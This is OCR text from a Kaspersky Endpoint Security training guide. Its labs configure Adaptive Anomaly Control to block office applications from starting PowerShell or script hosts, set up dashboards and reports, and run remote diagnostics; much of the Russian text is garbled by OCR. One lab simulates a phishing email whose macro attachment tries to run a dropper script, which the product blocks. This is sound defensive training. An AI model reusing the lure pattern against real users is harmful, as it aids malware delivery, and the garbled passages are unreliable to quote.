Low protection level. Important protection compenents are disabled. Learn more

GENERAL ~ EVENT CONFIGURATION ~ APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Advanced Threat Protection

Essential Threat Protection

General settings

Kaspersky Endpoint Security for Windows (11.6.0)

Low protection level. Important protection components are disabled. Learn more

GENERAL  EVENT CONFIGURATION ~ APPLICATION SETTINGS  REVISION HISTORY ~ POLICY PROFILES

ced Threat Protection .
Application Contro

Essential Threat Protectior

Security Contrals

Device Control
Web Control

Local Tasks

General settings .
Adaptive Anomaly Control
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Adaptive Anomaly Control P

8. [lponguTe no ccbinke
Rules, 4Tobbl
HacTpouTb Mpasuna
cpabaTbiBaHUS

@ Adaptive Anomaly

Adaptive Anomaly Control

trol ENABLED

INabopatopHas paboTa 19.
Kak HacTpouTb AgantusHbii KoHTponb AHOManun

]

m

©

9. PasBepHuTe cnmcok npaeun: Activity of office applications

10. MNMepeBegute Npasuna B pexum 6nokMposku. iamenuTte gencreue ¢ Smart Ha Block ana cnegytowmnx

npasun:

— 3anyck Microsoft Console Based Script Host n3 odmcHorn nporpammbl
— 3anyck Microsoft Windows Based Script Host na ocucHor nporpammbl
— 3anyck Microsoft Windows Command Processor 13 ouvcHom nporpaMmmbl
— 3anyck Microsoft PowerShell ns odmcHon nporpammbi

Rules

ptive Anomaly Control rule list

~ Approve updates

== Import = Export

start of Microsott Keqister >erver from ofmce application

Start of Microsoft HTML Application Host from office application

Start of Microsoft Console Based Script Host from office application

Start of Microsoft Windows Based Script Host from office application

Start of Microsoft Windows Command Processor from office application

Start of Microsoft PowerShell from office application

Start of embedded file from office application

> Use of Windows Management Instrumentation (WM}

@© On smart
@ On Smart  ~
@ On Block ~
@ On Block ~
O on Block ~
© on Block ~
© on Block

No

No

No

11. CoxpaHuTe NOonMuTUKY:
HaxmnTte OK n Save

12. Moarteepante
npUMeHeHe AaHHbIX
HacTpoek. Haxmute
Yes

13. MNopoxauTte, noka
nonmTrKa NPUMeEHNTCS

kaspersky

Kaspersky Endpoint Security for Windows (11.6.0)

Security Controls

a Encryption
Local Tasks

General settings

GENERAL  EVENT CONFIGURATION

Advanced Threat Protection

Essential Threat Protection

n and Response

Low protection level. Important protection components are disabled. Learn more

APPLICATION SETTINGS ~ REVISION HISTORY ~ POLICY PROFILES

Application Contro

Device Control

Web Co

Save settings

mportant protection ¢
Adaptivi  click the link in the df

iption of the protection level]

to apply these settings?

omponents are disabled (for more information.
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INabopatopHas paboTa 19.

Kak HacTpouTb AgantusHbii KoHTponb AHOManun

3apaHue B: MNpoeepbTe, uro ApanTueHbii Kontpons AHomanuin 6nokupyeTr
3anycK BpeAOHOCHOro Makpoca

OTnpaBbTe NUCLMO C BIIOXEHMEM, COAEPXKaLLUMM BPedOHOCHLIA CKpUNT, U yGeamTech, Y4To 3anyck daiina oyner

3abrokMpoBaH.

Alex-Desktop

14. 3anyctute Microsoft
Outlook

15. Co3paiiTe HoBOE NMUCLMO:

— YkaxuTe agpecaTta. B
none To BBeguTe
tom@abc.lab

— B none Subject BBegute
Weekly report

— TpunoxuTe K NnuceMy
danin Weekly report
(ps).doc, mecTo
pacnonoxeHusi gaina
yTOuHUTE Y
npenogaeartens

16. OTnpaBbTe NMCbMO:
HaxmuTe Send

Weekly report - Message (HTML)

=EH® & 1+ o=
MESSAGE INSERT

QOPTIONS FORMAT TEXT REVIEW
<= X |CalibriBody) -|11 | A" & |5 U AttachFile P q
(g B I U Z-iz- &E3= U7 Attach Item -
Paste - . Mames Tags  Zoom
., W WA === e - Signature - -
Clipboard Easic Text [P Include Zoom A

To.. | |tom@abelab;

=1
[ |
Send

Subject |Weekry report

Attached | ngeew Report (ps).doc (62 KB)

Hi, Tom!
‘Weekly report in attachment

Sincerely, Alex

Tom-Laptop
H = B Inbox - t be.lab - Outlook
17. 3anyctute Microsoft ﬁ © oo -tomiebe 2 - Outiea
HOME | SEND/RECEWE | FOLDER  VIEW
Outlook .
=% I Update Folder — Mark to Download =
= =F = Ta - %ﬂﬁ
18. O -~ Weekl : 5 Send Al 0 [, Unmark to Download = o
. OTKpouTe BIoXxeHue vweekly Send/Receive Show Cancel Download Work
All Folders |£15€nd/Receive Gioups ™ progress Al Headers - Process Marked Headers = Offfine
report (ps).doc Sen & Receme
4 Favorites [ searen current Mailbox... | current Mailbox_~| € Reply G2 Reply All €3} Forward
Inbox 1 All Unread ByDate ~  Mewest + |~ Tue 06-Apr-21 11:00
Sent items 4 Today Alex <alex@abc.lab>
Deleted ltems Alex 1] Weekly Report
Weekly Report 11:00
P, Hi, Tam! Weekly report in To  tom@abe.lab
oo 1 4 Last Week Message [ Weekly Report ps).doc (62 KB
Drafts alex@abclab
Sent ltems Report Wed 31-Mar Hi, Tom!
Hi Tom,
Deleted ltems _
Junk E-mail Alex 1] Weekly report in attachment

kaspersky

Outbox

IT Service Desk
DearTom, Please, extract

Tue 30-Mar

Sincerely, Alex
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19. B okHe Microsoft Word
HaxmuTe Enable content

20. Yb6eautech, YTO NOSBUIIOCH
coobLeHne o 3anpeTe
3anycka PowerShell.exe

21.
22.

Haxmnte OK

Y6enuTech, 4TO AencTBne
3abnokmpoBaHo Kaspersky
Endpoint Security

23.
24,

OTKkponTe OT4YET NporpamMmbl

Bbibepute Adaptive
Anomaly Control

25. Hangute cobbiTne o

GrNOKMPOBKe OEeNCTBUSA

26. 3akponTe okHo Microsoft

Word

kaspersky

INabopatopHas paboTa 19.
Kak HacTpouTb AgantusHbii KoHTponb AHOManuin

H 9 O = Weekly Report (ps).doc [Read-Only] [Compatibility Mode] - Word ?2 &
HOME  INSERT ~ DESIGN  PAGELAYOUT  REFERENCES  MAILINGS  REVIEW  VIEW
oy X & m sed ngmms | e | i Find ~
b v | 4 Semdmie = )
A Aav b =-i=-E- &= 8T | aapbeene AaBbcede AaBbC s

e ‘ ~|  3cReplace

Paste ¥-A- =E== (=- D~ | TNomal | TNoSpac.. Headingl |7 B Select~
Clipboard = Font IF] Paragraph ] Styles ] Editing

SECURITY WARNING Macros have been disabled.

To view or edit this document, please click "Enable editing" button
on the top yellow bar, and then click "Enable content"

~ Enable Content

) Office 365

This document created in online version of Microsoft Office Word

Kaspersky Endpoint Security v X
Adaptive Anomaly Control

Process action blocked

Information about the suspicious action:
Computer: TOM-LAPTOP

User: ABC\Tom

Rule that prohibits the suspicious action: Start of
Microsoft PowerShell from office application
Date and time of the suspicious action: 06-Apr-21
11:01:44

Details Request access

System Audit

<1

Advanced Threat Protection
@ Benavior Detection
4 Exploit Prevention
v

Haost Intrusion Prevention

Essential Threat Pratection
File Threat Protection
Web Threat Protection
Mail Threat Protection
T Firewall

I
MNetwork Threat Protection
@ AMSI Protection Provider

Security Control:
E application Control
B Device Control
W} web control

Adaptive Anom

Adaptive Anomaly Control

Save report...

PN
(&) Today, 22-Mar-13

show impertance B & £

Event date
@ 22-Mar-19 11:23:59

Application
Kaspersky Endpoint Security for Windows
Microsoft Excel

o o Name
Task started
Process action blocked

< >
ﬁ Update B
A 22-Mar-19 12:54:21 : Process action blocked
L'-ﬁ Sean Tasks
@ intearity check Event type: Process action blocked ~
User:  ABC\Tom [Active user]
Component:  Adaptive Anomaly Control
Rule name:  Start of Microsoft PowerShell from office application
Source process:  c\program files [x38]\microsoft office\office15\excel.exe
Source process hash: 504836366t 745437003! 38c334171601703e5d ecfc
Target process:  C:\Windows\Temp\dropper.ps1
Target process hash:  07d0%aeafa30638615521e42b8300dfdd6af77135143748bdbca3268d7cc3310
Taraet obiect: _obiect://cmdline:"C:\Wir i Shellw1.0
Close
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JlabopaTopHas paboTa 20.
Kak HacTpouTb gawbopna

CueHapwun. Kaxabin oeHb Bbl 3axoguTe B KOHconb Kaspersky Security Center, 4ToGbl NOHATE, paboTaeTt v
3awmTa, U HeT NK Yrpo3, C KOTOPbIMU HY)XHO pa3obpaTbesi. YTobbl TpaTUTb MeHbLUE BpEMEHU, co3aanTe aawbopa
N HaNoNHUTE ero NaHensiMun, KOTopble AaayT OTBETbI HA BCE BOMPOCHI HA OHOM 3KpaHe.

CopepxxaHue. B aToin nabopatopHoi paboTe co3ganite U HAaCTponTe A3LW6opA ANs eXeAHEBHOro MOHUTOPUHTA.

3apaHue A: [lo6aBbTe HOBble BUAYKETDbI B A3W6G0pA

e e
@l i 2 B

Tom-Laptop  Alex-Desktop

1. OrtkpownTe BEO-
KoHconb Kaspersky
Security Center

MONITORING & REPORTING / DASHBOARD

Protection status

KASPERSKY @ Critical 0 4 ‘
2_ B 60KOBO|V| MEHHIO SECURITY CENTER Bok 3 Z
BbIGepuTe e U : ||||||||I
Monitoring & /e R SO S
Reporting | MONITORING & REPORTING
Dashboard e — moeomemee
3. O6patute
BHMMaHue, 4YTo BeO- New devices @ | Threatactviy @
KOHCcOmMb Kaspersky e "
Security Center - /\ / . I |
UMeeT pag
NpeayCcTaHOBIEHHbIX s e S
BUKETOB
Most frequent threats & Most heavily infected devices &

o 14 1. TOM-LAPTOP 27
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Kaspersky Endpoint Security and Management

Kak HacTpouTb Aawbopa

4. Y100bl ,El06aBVITb MONITORING & REPORTING / DASHBOARD

HOBbI BUOXKET,
HaxxmuTe Add or
restore web widget

5. PasBepHuTE CEKUMIO
Update v Bbibepute
Distribution of anti-
virus databases

6. Haxwmute Add

kaspersky

KASPERSKY
SECURITY CENTER

B KsC d
A MONITORING & REPORTING  «

DASHBOARD

New devices & Threat activity
22 3
5
10
10
o / ; I
a0 o s
aai0Tiz021 32772021 az/0772021 ozT2021
= osi0ai2e21 aaiTIzo21
Most frequent threats & Most heavily infected devices -
1 14 1. TOM-LAPTOP
2 o 4 04/06/20
3 o 3
4 o 2
5 o 2
Detection of threats by application &

components

04108/2021

Add or restore web widget

all

Expal

> Protection status
> Deployment

“ Update

$ $

Statistics of check for
Windows Update updates databases

» Updates for applications
> Threat statistics

> Other

o | o]

Distribution of anti-virus
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7. HoBbih BUAXET ObIN
nobaBrneH B CNNCokK

8. HaxmuTte Add or
restore web widget

9. PasBepHuTE CEKLMIO
Statistics of threats
n BblbepuTe History
of network attacks

10. Haxmute Add

kaspersky

INabopatopHas paboTa 20.
Kak HacTpouTb Aawbopa

[ 111]

KASPERSKY
SECURITY CENTER

MONITORING & REPORTING  ~

DASHBOARD

MONITORING & REPORTING / DASHBOARD

T

w

Detection of threats by application
components

04/08/2021

&

)

03172021 04/08/2021
Most heavily infected devices ~ i
1. TOM-LAPTOP 27
Distribution of anti-virus databases [cH
u 3m
0
0

0

Om

Prohibited applications

Types of detected viruses
and disinfection results

History of detection of
probably infected objects

History of threa ity
sorted by appli type

Users of 10 most heavily
infected devices

Types of network attacks

Quarantine history

History of network attacks

Threat activity

Most heavily infected
devices
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11. YT006blI
OoTpenakTMpoBaTb
oToOpaxeHne

BUaXeTa, HaKMnUTe

MO UKOHKe
ynpaeneHus
BUIXKETOM

12. Bbibepute Chart
type: Lines

13. OTobpaxeHne
BuakeTa bbino
M3MEHEHO

kaspersky

KASPERSKY
SECURITY CENTER

»

A MONITORING & REPORTING

DASHBOARD

[114]

KASPERSKY
SECURITY CENTER
o

MONITORING & REPORTING

DASHBOARD

INabopatopHas paboTa 20.
Kak HacTpouTb Aawbopa

MONITORING & REPORTING /

Qw7021

Most frequent threats

RTINS

o

Detection of threats by application
components

I

0

History of network attacks

DASHBOARD
0002021 172021
o8 Most heavily infected devices «
14 1. TOM
4
3
2
2
o Distribution of anti-virus databases

&

Chart type: Bars

Chart type: Lines

Hide web widget

04108/2021

Mg

0w17i2021 oace  Refresh
Move
Show settings
MONITORING & REPORTING / DASHBOARD
04082021 osa2021

Most frequent threats & Most heavily infected devices o8
1 0 14 110 27
2 0 4
3 03
4 0 2
5 0 2
Detection of threats by application o Distribution of anti-virus databases b

components

I

History of network attacks

&

0311772021

04108/2021
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3apaHue B: YpanuTte n nepemecTuTte BUAXET

YnanuTe v noMeHsinTe NopsiaoK 0OTOOPaXKeHUs BUAKETOB B NaHEeNN MOHUTOPUHTa

3afaHue BbINOMHAeTCA Ha koMrbioTepe KSC.

47|

14. B Buoxete New devices
HaXXMUTE NKOHKY

o T Il
m

LLIECTEPEHKMN U BbIbepuTe
I i KASPERSKY outmizozt owcaizozt
Hide web widget U TER
] Wo
4. MONITORING & REPORTING.  ~ New devices % Threat activity T
DASHBOARD 20 Chart type: Bars
:E | Chart type: Lines
/ |
N C 00 Hide web widget =
oai07I2021 032772021 oaz7i2021
o0an7i2021 os0c  Refresh 0311712021 0410812021
Move
Show settings
=% Most heavily infected devices T
14 1. TOM-LAPTOP 27
o 4
o 3

Detection of threats by application
compenents

b o s oo

15. Cornacurtecs ¢

npeaynpeXxgeHueMm: HaxXMmTe o \&% °
IOCAYIPEXA = lilll
KASPERSKY s 0¥17/2021 - o4inaiz021
16. ObpaTuTte BHUMaHue, 4YTO Ha SECURUGCENIER
M crical o [ |
MEeCTO yaaneHHOoro Buaxeta
ObIn NnepemMeLleH CToALWMIN 3a ) }
HUM A MONITORING & REPORTING  ~ P = Threat activity =
DASHBOARD 20 o
‘% = ]
ZS | Warning x | »-

04106/2021

re you war
dget personal

Most fre o
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17. B Bupxete Most frequent
threats HaxmMnTe MKOHKY
LLECTEPEHKMN 1 Bblbepnte
Move

18. KnukHute no Buaxety Threat

activity, Ha MecTo KOToporo
Bbl XOTUTE NEPEMECTUTL
TEKYLLNA BUSXKET

19. Bugxet Most frequent
threats 6bin nepemelyeH

A MONITORING & REPORTING  ~

INabopatopHas paboTa 21.
Kak HacTpouTb MHCTPYMEHTbI 4N 06CnyKMBaHMs

KASPERSKY
SECURITY CENTER

Threat activity

ya 15

DASHBOARD

MONITORING & REPORTING / DASHBOARD

& Most frequent threats &

M Critca W ok W Warring

Hide web widget
Refresh
Move

Show settings

[14]

KASPERSKY
SECURITY CENTER

V3

MONITORING & REPORTING / DASHBOARD

Protection status
& Critical

& ok

& Warning

o w o

o
III|||||I
-

04108/2021

A MONITORING & REPORTING v

DASHBOARD

Most frequent threats

o uBE g
o |

—
I

3akJiioueHue

Bbl go6aBunu Heobxoaumble BaM BUMKETbI B NaHENb MOHUTOPWHIA, KOTopasi NoKasbiBaeT BCE caMoe rMaBHoe O
3alumTe ceTu.

JlabopaTopHas paboTa 21.
Kak HaACTPONTb UHCTPYMEeHTbI ANng OGCHY)KI/IBaHI/ISI

CueHapui. UTobbl GbiCTpee HaxoauTb HYXXHYH MHAOpPMaLMIO U pearnpoBaTh Ha Yrposbl, yaanute oTyeTsbl,
KOTOpbIe He uUcnonb3ayeTe, NoAroToBbLTE 3a4ayy Nnoncka BUPYCcoB, KOTOPYIO MOXHO GyaeT 3anyckaTb Yepes
KOHTEKCTHOE MEHI0 KOMMbIOTEPOB, U HACTPOMTE KaXKayto Heaento nosy4aTb OTYEThl O TOM, YTO MPOU3OLLSIO 33
Heaernto.

CopepxaHue. B aTtol nabopaTtopHoi paborTe:

1. Ypanute oT4eTbl, KOTOPbIE HE UCMONb3YeTe
2. CospaliTe OTYET O 3apaXkeHHbIX KOMMbIOTEPAX 3a NpoLLeaLyo Hedento
3. HactponTe nonyyaTb Mo NovTe camble BaXKHbl€ OTYEThI

3a.na|-|v|e A: Ypanute OT4YeTbl, KOTOpPbI© HE NCNOoJib3yeTe

Yaanute Bce OTYeTbI, KpOME:

— Kaspersky Lab software version report
— Threats report

— Report on blocked runs

— Most infected computers report

— Report on users of infected devices
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- Web control report

— Protection deployment report
—  Network attack report

— Protection status report

— Report on file operations on removable drives

— Key usage report

— Anti-virus database usage report

Komnbtotepbl KSC, DC, Alex-Desktop n Tom-Laptop gomkHbl ObiTb BKITHOYEHbI.

DC

3agaHue BbINonHsieTcs Ha komnbtotepe KSC.

-

- g

-

K

111) b=

Tom-Laptop Alex-Desktop

17)

-

K

1. OrtkpownTte Beb-koHcoNb Kaspersky Security Center

MepenanTe Ha cTpaHuuy Monitoring & Reporting | Reports

JlabopaTopHasi paboTa 21.
Kak HacTpouTb MHCTPYMEHTbI 4N 06CnyKMBaHMA

Bbibepute
otyet Report
on errors

KASPERSKY
SECURITY CENTER

Haxmute B

Haxmute 5
Delete

A MONITORING & REPORTING  ~

REPORTS

1 Add

Name

> Open report template properties

Deployment

MONITORING & REPORTING / REPORTS

[> New report delivery task I> Export report

Type

Scope Description

Protection status

Report on errors

Report on protectio.

> Report on Kaspers

Reporton incompat... >>

Created

6. [llogTBepauTe,
YTO XOTUTE
yaanuTb OTyeT.
Haxmnte OK

11|

KASPERSKY
SECURITY CENTER

kaspersky

MONITORING & REPORTING / REPORTS

| + Add |

[> Open report template properties | [> New report delivery task ‘

[> Export report

Name Type Scope

Protection status

i\: ort on errors

Report on errors

Report on protectio... >>

Deployment

Report on Kaspersk.

very tasks. Once the report templates are deleted, they
excluded from the task settings. Do you want to continue?

Updatin

Protection status

Protection status

Deployment This report lists the

X

sure you want to delete the following report templates: Report
rors? You can further use these templates in automatic report
will be

Cancel

Description

This report describe.

This report provides...

Q

sreport lists all in
5 report provides...
5 '€p‘]|l provides.

sreport displays ...
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7. Ypanute cnegywouime otT4eTbl aHanorn4YHbIM o6pasoM:

— Hardware report

— Report on incompatible applications

— Report on file encryption errors

— Report on blockage of access to encrypted files
— Report on device users

— Report on effective user permissions

— Report on encryption status of mass storage devices

— Report on hardware registry
— Kaspersky Lab software version report

— Report on key usage by virtual Administration Server

— Report on rights

— Report on rights about access to encrypted devices

— Report on test blocked runs
— Software updates report

— Vulnerabilities report

— Report on attacked controllers

— Report on check of programmable logic controllers (PLCs) for integrity

— Report on results of update installation of third-party software

JlabopaTopHasi paboTa 21.
Kak HacTpouTb MHCTPYMEHTbI 4N 06CnyKMBaHMA

MONITORING & REPORTING / RE

I Add

KASPERSKY
SECURITY CENTER

Name Type
Protection status

Reporto otection status Report or
5 Rey T

protected status report F:"|3:l'l or

A MONITORING & REPORTING  +

Report or

n aeployment report F:"|3:l'l or

report on most heavily.. >>  Reporton

eats report Reporton

ek €port on most Neavity > F_r"|3:l'lCI"

Report on file operationsonre. >> Reporton

Reporton

PORTS

n protectio

N protectio.

Report cn usage o

Report on vers

most hea

et ck report Reporton network .. »>
Reporto s svices Reportonusersof i, >

threats

most hea

Report on vulnerabilities

threatdet.. »>

[> New report delivery task

Scope

Pratection status

Protection status

Deployment

Deployment

Updating

Updating

> Threat statistics

Threat statistics

Threat statistics

Threat statistics

= Threat statistics

Other

Other

Other

Description

This report provides.

This report proviges... >>

This report displays

This report proviges... >>

This report pi

Ff-:ﬁ:"[ On versions

This report lists Top

This report proviges... >>

This report lists the .. >>

This report provides.

This report lists Top .. >=>

This report provides.

This report provides... ==

This report lists soft.. >>

Created

03/26/2021 12:02:16 pm

03/26/2021 12:02:16 pm

/26/2021 12:02:15 pm

Mo

03/2
04/2
04/2
04/2
04/2
04/2
04/0
04/2
04/2
04/0
03/2
03/2

kaspersky

147



KL 002.11.6:
Kaspersky Endpoint Security and Management

3apaHue B: Co3paiite oTuyeT 0 3apaXXeHHbIX KOmMMnbloTepax 3a Heaeno

INabopatopHas paboTa 21.
Kak HacTpouTb MHCTPYMEHTbI 4N 06CnyKMBaHMA

lMepenmeHyiiTe OTYET O 3aparkeHHbIX KOMMbloTepax B ExxemMecAYHbIN oTYeT 0 Hanbornee 3apaxaemMbIx
YCTPOMCTBAX; 3aTeM CO3anTe exeHeaeNbHbIA OTYET.

10.

11.

OTKpoOnTE OKHO
csoncTte Report
on most heavily
infected devices

MN3ameHnTe nmsa
oTt4yeTta Monthly
report on most
heavily infected
devices n
HaxxmuTe Save

3akponTe okHO
otyeta

Co3spfaiTte HoBbIN
OTYET: HAXXMUTE
kHonky Add

kaspersky

Editing report "Report on most heavily infected devices"

GENERAL  FIELDS  ACCESS RIGHTS

Name
Template
Description
Created

Last modified

Monthly report on mest heavily infected devices

Report on mast heavily infected devices
This repert lists Top 10 mest heavily infected devices.
04/06/2021 12:36:16 pm

04/06/2021 12:36:16 pm

B Maximum number of entries to display

1000
Group Settings
Time interval Settings
@ Include data from secondary and virtual Administration Servers
Up to nesting level 1
Data wait interval (min) 5

Cache data from secondary Administration Servers

Transfer detailed information from secondary Administration Servers

MONITORING & REPORTING / REPORTS
) | [> New report delivery task > Q
KASPERSKY [ Name Type Scope Description

SECURITY CENTER

REPORTS

Protection status

n protection status Reporton protectio.. =>  Protection status

Reporton|
Threat statistics

|:| Meonthly > Reporton mosthea.. >>  Threat statistics

Other

[l Benortonfilecnetionsonre > Renodonfilennera  »>  Qther

This report provides... >>

This report lists Top ... >>

This renart provide
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12. HasoBute otyeT

Report name

E)KeHeae‘anb"j Weekly report on most heavily inf devices
omyem o Report type

Hauborsee > Protection status
3apaxaembix > Deployment
ycmpoticmeax > Updating

 Threat statistics

13. PasBepHute
cnmcok Threat
statistics n
BbIOepuTe Report
on most heavily
infected devices

Report on threats
#) Report on most heavily infected devices
Report on network attacks

Summary report on workstation protection and Windows
Server protection applications installed.

Summary report on mail system protection applications
installed

Summary report on perimeter defense applications
installed.
Summary report on types of applications installed.

Report on users of infected devices

14. Haxmnte Next

> Other
15. Boibepute Scope
Administration % Administration group

Device selection

group u ykaxure
Managed devices

Selected devices

All networked devices

16. Haxxmute Next > @ Managed d

17. YctaHoBuTE
nepvod 7 oHen n
Haxxmute OK

Reporting period
From start date to end date
From start date to report creation date

®) Specified number of days before the report creation date

Days 7
18 B NOSIBUBLLEMCS MONITORING & REPORTING / REPORTS
OKHe BblbepuTe
Save (1] b Openre b Q searcn 5 ¥
KASPERSKY [ Name Type Scope Description Created Modified

SECURITY CENTER

Protection status

[] Reporton protection Reporton protectio > Protection status This report provides. >>  03/26/2021 120215pm ~ 03/2. >>
Threat statistics
A MONITORING & REPORTING  ~
[] Monthly report on most heavily. . >> Reportonmosthea . >> Threat statistics This report lists Top . >>  04/06/2021 1236:16pm  04/0. >>
[[] Weeklyreport on mostheavilyi  >> Reportonmosthea >> Threat statistics This report lists Top . >> 04/06/2021 123951 pm  04/0. >>
REPORTS
Other X
Report created
(] Reportc Sreport provides. >>  03/26/2021 120216 pm  03/2_ >>
Report Weekly report on most heavily infected devices has been
[J Reporte successfully created sreport provides . »>  03/26/2021 1202:15pm  03/2. >>
(] Reportc Save and run Save sreportprovides.. >> 03/26/2021 120215pm  03/2. >>
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JlabopaTopHasi paboTa 21.
Kak HacTpouTb MHCTPYMEHTbI 4N 06CnyKMBaHMA

3apaHue C: HacTpoliiTe nony4aTb No No4Te cambie BaXKHbie OTHETDI

HacTpoliTe Kaxayto Hegento no noHeaensHukam B 10 yTpa nonyyatb Mo novte oTyeTbl:

— Protection status report

— Anti-virus database usage report

— Weekly report on most heavily infected devices
— Network attack report

3agaHue BbinomnHsieTcs Ha komnbtotepe KSC.

19. OTkpownTe BED-
KOHCOmb Kaspersky
Security Center

20. B 6okoBOM MeH0
BblbepuTe Devices |
Tasks

21. Cospaiite 3agadvy
pacchbIfikn OTYETOB.
Haxmunte Add

22. B cnncke npunoxeHumn
BblbepuTe Kaspersky
Security Center 13

23. BblbepuTe TVN 3agaun
Deliver reports

24. HasosuTe 3agavy
Deliver reports

25. Haxmute Next

26. OTmeTbTE cneayowme
OTYeThbl:

— Weekly report on
most heavily
infected devices

— Network attack
report

— Anti-virus
database usage
report

kaspersky
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DEVICES / TASKS

Current path: KSC
KASPERSKY - Add & 0 X £ Refresh list
SECURITY CENTER
Task name Application Task type

Kaspersky Endpoint Security for Windows (11.6.0)

Kaspersky Endpoint Security for . >>  Update

Kaspersky Security Center 13 Administration Server

DEVICES

Add Task Wizard

New task
Application

Kaspersky Security Center 13 v

Task type

Deliver reports ~

Task name

Deliver reports

() Add Task Wizard

Select template for report

Name

Report on protection status

Report on vulnerabilities

Report on file operations on remavable drives

Report on threat detection distributed by component and detection techno

Manthly report on most heavily infected devices

O Weekly report on most heavily infected devices
O Network attack report

protected status report
O Anti-virus database usage report
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21 Jrae oo

OoTnpaBKn OTYETOB —

Name
Send reports by
email O Anti-virus database usage report
. @ Threats report
28. Haxmute Settings ’
o Report on users infected devicas
@ web control report
O Key usage report
@ Kaspersky Lab Software version repart
@ ] Protection deployment report
Format

HTML page | html) -

Action to apply to reports

@ Send reports by email

Email notification settings Settings

29. B none agpeca
nony4aTtens BBeguTe:
administrator@abc.lab

30. Haxkmute OK

Email address

administrater@abe.lab]

Subject

Kaspersky Security Center 12 Administration Server Report

Email settings

®) Use Administration Server settings (Notification section
under Reports and notifications folder properties)

Configure independently

31. Haxmute Next

Name
[ @] Anti-virus database usage report
A Threats report
(@ ] Report on users infected devices
d web contrel report
o Key usage report
a Kaspersky Lab Software version repart
o Protection deployment report

Format

HTML page [ html) v

Action to apply to reports

@D Send reports by email

Email notification settings

Settings

Save reparts to folder

Please select an action type.
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32. Haxxmute Next

33. OTkno4uMTe oNuunIo:
Open task details
when creation is
complete

34. Haxmute Finish

35. lMNepenanTte No ccblnke
Deliver reports

36. MNepengnte Ha
Bknagky Schedule

37. YcTaHoBUTE MHTEpBan
pacchbinkn Weekly

38. Bbibepute oeHb
Monday 1 Bpems 9:00
M HaxXxmuTe Save

3ak/iioueHune

KASPERSKY

SECURITY CENTER nstall updates Kaspersky Endpoint Security for _ >>  Update

= DEVICES

GENERAL RESULTS  SETTINGS  APPLICATION SETTINGS SCHEDULE  REVISION HISTORY  ACCESS RIGHTS

Run task by schedule

Scheduled start:

Weekly

Day of week

Time

Additional task settings
Run missed tasks
Use automatically randomized delay for task starts

Use randomized delay for task starts within an interval of (min):

Turn off device after task completion
Stop task if it has bee

120
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Add Task Wizard

Selecting an account to run the task

® Default ac

Specify ac

Add Task Wizard

Finish task creation

Click Finish to complete the creation process for "Deliver reports” and close the Wizard.

Open task details when creation is complete

DEVICES / TASKS

+ Add > i} >3 X = Refresh list

Kaspersky Endpoint Security for Windows (11.6.0)

Kaspersky Endpoint Security for .. >>  Virus Scan

> Administration Server maintenance

e n e Download updates to the Admin . >>
Backu e > Backup of Adminisiration Server data
> Install application remortely

> Deliver reports

Monday v

09:00

n running longer than (min):

Bbl yoanunm oT4yeTbl, KOTOPble HE UCMNONb3yeTe, N Tenepb CMOXeTe 6bICTpee HaxoaAuTb HYy>XHble OTYEThI.
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JlabopaTopHas paboTa 22.
Kak cobpaTtb anarHoctTuyeckyio nHpopmaumio

CueHapui. Ha ogHOM 13 KOMMbIOTEPOB He 3anycKarTcs kKomnoHeHTol Kaspersky Endpoint Security, v Bbl He
cMornu pasobpatbes, B 4eM npobrema, n pewntb ee. CobepuTe XypHarnbl TpaccupoBku Kaspersky Endpoint
Security, 4Tobbl 06paTUTLCSA B TEXHMYECKYIO Nogaepxky. Coenante aTo yganeHHo u3 KoHcomnm
aaMUHUCTPUPOBAHNS.

CopepxaHue. B aToit nabopatopHoi paGoTe yaaneHHo cobepute ¢ KOMMbOTEPa XypHarbl TPacCMPOBKM.

Hangute komnbioTep Alex-Desktop B KOHCOMM 1 3anycTuTe Yepe3 KOHTEKCTHOE MEHI0 YTUMUTY yaareHHOon
OnarHocTukn. B okHe yTunuTbl BKITHOUNTE XXypHarnbl Tpaccuposku ana Kaspersky Endpoint Security, nepesarpysnte
Kaspersky Endpoint Security 1 3arpysuTe xypHanbl. [JononH1TeNbHO 3arpy3nte MHOOPMaLLMIo O KOMMbIOTEPE U
XypHanbl Windows: Kaspersky Event Log n System.

. PSS
Tom-Laptop  Alex-Desktop

o 59 e

1_ BOMD,MTe B CMCTeMy Kaspersky Security Center 13
~ File Actien View Help
Mo, EeTHOU
A yi es2@0E6 @m
3anucblo L. |¢ Kaspersky Security Center 13
abc\Administrator ¢ ~ [ Administration Server KSC Administration Server KSC > Managed devices
~ [J Manager devices -
naponem Ka5pers5Ky Y Dl Moveunsssigned devices to group
> L1 weo Install application
2 SanyCTMTe MMC_ > |:_-|| ;’"’b‘ls Search Jolicies Tasks Group properties
" ! Device
Reset Virus Counter
L3 Unassiy
aAMUHUCTPUPOBaAHUA ;asks o s
. N Lo .

3. I'Iepew:l,MTe By3en - - N . Status  Application )

Managed Devices hoint Security for Windows (11.6.0) Kaspersky Endpoint Security for S|

Refresh - - . - Windows (11.6.0)
dpoint Security for Window... Active Kaspersky End

4. Hanagute KOMMNblOTEP Properties rity Center Network Agent Application: gaéscpuergkg%mg; .

AIeX'Deskto . Help curity Center 13 Network A..  Active  Kaspersky Sect (11.6.0)

p - Unknown Created: 29-Mar-21 17:41:29
3anycTtute ytunmty & Default pratection for Kaspersky Security... Active  Unknown Changed: 06-Apr-21 13:01:17
ovcka u3 Inherited policy: Mot inherited
NMONCKa "

KOHTEKCTHOrO MEHH0
y3na Managed
Devices
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5. Beegute nms
KomnbloTepa Alex-
Desktop u HaxmuTe
Find Now

6. Yb6eguTtecb, 4TO
komnbtoTep Alex-
Desktop nosiBuncs B
pesynbTatax noucka

7. 3anyctute ytunuty
yAaneHHom
ANarHOCTUKM:
BbI30BUTE
KOHTEKCTHOE MEHI0
KOMMbloTEPA U
BbIbepute Custom
tools | Remote
diagnostics

8. [lpoBepbTe, 4UTO B
none Device
HanncaHo nms
KomnbtoTepa Alex-
Desktop

9. TMMogknounte yTunuTy
K KOMNblOTEPY:
HaxmuTe Sign in

kaspersky

[N Search

B Find devices ~

Network  Tags

Device name or IP address:
Windows domain:
Administration group:

Description:

[J1P range:

Active Directory  Network activity Application Operating system Device status  Protection components  Applications registry  Virtual machines Hardware Vulnerabi * | *

‘ dlex-desktop

INabopatopHas paboTa 22.
Kak cobpaTb gnarHoCcTU4eckyo nHgopmaumnio

‘0.0‘0‘0

m|°-°-°

Managed by a different Administration Server:

Found: 1

Export to file

Name

B aLExDESKTOP

Operating syst...
A* Microsoft ...

Wind... MNetw... MNetw... Real-..

aBC o ves of ves of ves

Last ...
12m...

Prote... Status  Status description Ini|
